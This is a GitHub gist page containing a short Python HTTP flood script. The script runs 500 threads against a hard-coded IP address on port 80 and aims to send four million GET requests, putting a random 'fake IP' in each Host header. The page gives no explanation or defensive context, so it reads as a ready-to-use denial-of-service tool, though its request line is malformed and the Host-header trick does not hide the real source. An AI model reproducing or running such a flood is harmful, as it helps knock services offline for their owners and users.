Skip to content

Instantly share code, notes, and snippets.

@Austinhs
Created November 29, 2022 01:07
Show Gist options
  • Select an option

  • Save Austinhs/4c3a0013198ee3839abe32874fdc07fc to your computer and use it in GitHub Desktop.

Select an option

Save Austinhs/4c3a0013198ee3839abe32874fdc07fc to your computer and use it in GitHub Desktop.
import socket
import threading
import ipaddress
import random
port = 80
attack_amount = 4000000
thread_count = 500
target = "123.45.68.99"
MAX_IPV4 = ipaddress.IPv4Address._ALL_ONES # 2 ** 32 - 1
attack_completed = 0
def random_ipv4():
return ipaddress.IPv4Address._string_from_ip_int(
random.randint(0, MAX_IPV4)
)
def attack():
global attack_completed
while attack_completed < attack_amount:
fake_ip = random_ipv4()
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target, port))
s.sendto(("GET /" + target + "HTTP/1.1\r\n").encode('ascii'), (target, port))
s.sendto(("Host: " + fake_ip + "\r\n\r\n").encode('ascii'), (target, port))
attack_completed += 1
print(attack_completed, " from: ", fake_ip)
s.close()
for i in range(thread_count):
thread = threading.Thread(target=attack)
thread.start()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment